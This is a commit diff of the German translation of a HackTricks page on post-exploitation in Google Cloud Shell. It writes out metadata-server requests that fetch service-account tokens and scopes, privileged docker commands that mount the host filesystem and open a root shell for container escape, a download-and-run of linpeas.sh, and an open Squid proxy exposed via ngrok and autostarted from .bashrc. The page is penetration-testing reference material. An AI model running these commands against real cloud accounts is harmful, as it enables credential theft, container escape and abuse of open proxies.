mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 05:33:10 -08:00
Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation
This commit is contained in:
@@ -10,40 +10,40 @@ Weitere Informationen zu Cloud Shell:
|
||||
../gcp-services/gcp-cloud-shell-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Container Escape
|
||||
### Benutzer-Token aus Metadaten abrufen
|
||||
|
||||
Hinweis: Die Google Cloud Shell läuft in einem Container; du kannst **easily escape to the host** wie folgt:
|
||||
Durch einfachen Zugriff auf den Metadata-Server kann man einen Token erhalten, um Zugriff als der aktuell angemeldete Benutzer zu erhalten:
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
```
|
||||
### Container Escape / Docker use
|
||||
|
||||
> [!WARNING]
|
||||
> Früher lief die cloud shell in einem Container mit Zugriff auf den docker socket des Hosts. Jetzt hat Google die Architektur geändert und der cloud shell-Container läuft in einem "Docker in a container"-Setup. Selbst wenn es möglich ist, docker aus der cloud shell zu verwenden, kannst du damit nicht über den docker socket auf den Host entkommen.
|
||||
> Beachte, dass die Datei `docker.sock` früher unter `/google/host/var/run/docker.sock` lag, jetzt aber nach `/run/docker.sock` verschoben wurde.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Container escape commands</summary>
|
||||
<summary>Docker use / Alte container escape Befehle</summary>
|
||||
```bash
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
|
||||
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh
|
||||
sudo docker -H unix:///run/docker.sock pull alpine:latest
|
||||
sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
|
||||
sudo docker -H unix:///run/docker.sock start escaper
|
||||
sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
|
||||
```
|
||||
</details>
|
||||
|
||||
Dies wird von google nicht als Verwundbarkeit betrachtet, aber es gibt Ihnen einen breiteren Einblick in das, was in dieser Umgebung passiert.
|
||||
|
||||
Außerdem beachten Sie, dass Sie vom Host aus ein Service-Account-Token finden können:
|
||||
Außerdem war es in der Vergangenheit möglich, ein Token für ein Service Account zu finden, das von der Cloud Shell VM im metadata server verwendet wurde:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get service account from metadata</summary>
|
||||
<summary>Altes Service Account aus metadata</summary>
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
|
||||
default/
|
||||
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
|
||||
```
|
||||
</details>
|
||||
|
||||
Mit den folgenden scopes:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Service account scopes abrufen</summary>
|
||||
Mit den folgenden Scopes:
|
||||
```bash
|
||||
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
|
||||
|
||||
@@ -53,33 +53,21 @@ https://www.googleapis.com/auth/monitoring.write
|
||||
```
|
||||
</details>
|
||||
|
||||
Metadaten mit LinPEAS auflisten:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Metadaten mit LinPEAS auflisten</summary>
|
||||
```bash
|
||||
cd /tmp
|
||||
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
|
||||
sh linpeas.sh -o cloud
|
||||
```
|
||||
</details>
|
||||
|
||||
Nachdem Sie [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) mit dem Token des Service Account verwendet haben, wurden **keine Berechtigungen festgestellt**...
|
||||
|
||||
### Als Proxy verwenden
|
||||
|
||||
Wenn Sie Ihre google cloud shell-Instanz als Proxy verwenden möchten, müssen Sie die folgenden Befehle ausführen (oder in die .bashrc-Datei einfügen):
|
||||
Wenn Sie Ihre google cloud shell Instanz als Proxy verwenden möchten, müssen Sie die folgenden Befehle ausführen (oder sie in die .bashrc-Datei einfügen):
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Install Squid proxy</summary>
|
||||
<summary>Squid proxy installieren</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
```
|
||||
</details>
|
||||
|
||||
Nur damit Sie wissen: Squid ist ein HTTP-Proxy-Server. Erstellen Sie eine **squid.conf**-Datei mit den folgenden Einstellungen:
|
||||
Zur Info: Squid ist ein HTTP-Proxy-Server. Erstelle eine Datei **squid.conf** mit den folgenden Einstellungen:
|
||||
|
||||
<details>
|
||||
|
||||
@@ -92,7 +80,7 @@ http_access allow all
|
||||
```
|
||||
</details>
|
||||
|
||||
Kopiere die Datei **squid.conf** nach **/etc/squid**
|
||||
Kopiere die **squid.conf**-Datei nach **/etc/squid**
|
||||
|
||||
<details>
|
||||
|
||||
@@ -102,11 +90,11 @@ sudo cp squid.conf /etc/squid
|
||||
```
|
||||
</details>
|
||||
|
||||
Starte abschließend den Squid-Service:
|
||||
Führe abschließend den squid-Dienst aus:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Squid-Service starten</summary>
|
||||
<summary>Squid-Dienst starten</summary>
|
||||
```bash
|
||||
sudo service squid start
|
||||
```
|
||||
@@ -116,19 +104,19 @@ Verwende ngrok, damit der Proxy von außen erreichbar ist:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Proxy mit ngrok freigeben</summary>
|
||||
<summary>Proxy mit ngrok exponieren</summary>
|
||||
```bash
|
||||
./ngrok tcp 3128
|
||||
```
|
||||
</details>
|
||||
|
||||
Nachdem Sie es ausgeführt haben, kopieren Sie die tcp:// URL. Wenn Sie den Proxy im Browser verwenden möchten, empfiehlt es sich, den tcp://-Teil und den Port zu entfernen und den Port in das Portfeld Ihrer Browser-Proxy-Einstellungen einzutragen (squid ist ein HTTP-Proxy-Server).
|
||||
Nach dem Start kopiere die tcp:// URL. Wenn du den proxy aus einem browser betreiben möchtest, wird empfohlen, den tcp://-Teil und die Portangabe zu entfernen und den Port in das Port-Feld der Proxy-Einstellungen deines Browsers einzutragen (squid is a http proxy server).
|
||||
|
||||
Für die Nutzung beim Start sollte die Datei .bashrc die folgenden Zeilen enthalten:
|
||||
Für eine bessere Nutzung beim Start sollte die .bashrc die folgenden Zeilen enthalten:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>In .bashrc für automatischen Start einfügen</summary>
|
||||
<summary>Zu .bashrc für automatischen Start hinzufügen</summary>
|
||||
```bash
|
||||
sudo apt install -y squid
|
||||
sudo cp squid.conf /etc/squid/
|
||||
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128
|
||||
```
|
||||
</details>
|
||||
|
||||
Die Anweisungen wurden von [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) kopiert. Siehe diese Seite für weitere verrückte Ideen, um jede Art von Software (Datenbanken und sogar Windows) in Cloud Shell auszuführen.
|
||||
Die Anweisungen wurden von [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key) kopiert. Sieh dir diese Seite für weitere verrückte Ideen an, um jede Art von Software (Datenbanken und sogar Windows) in Cloud Shell auszuführen.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user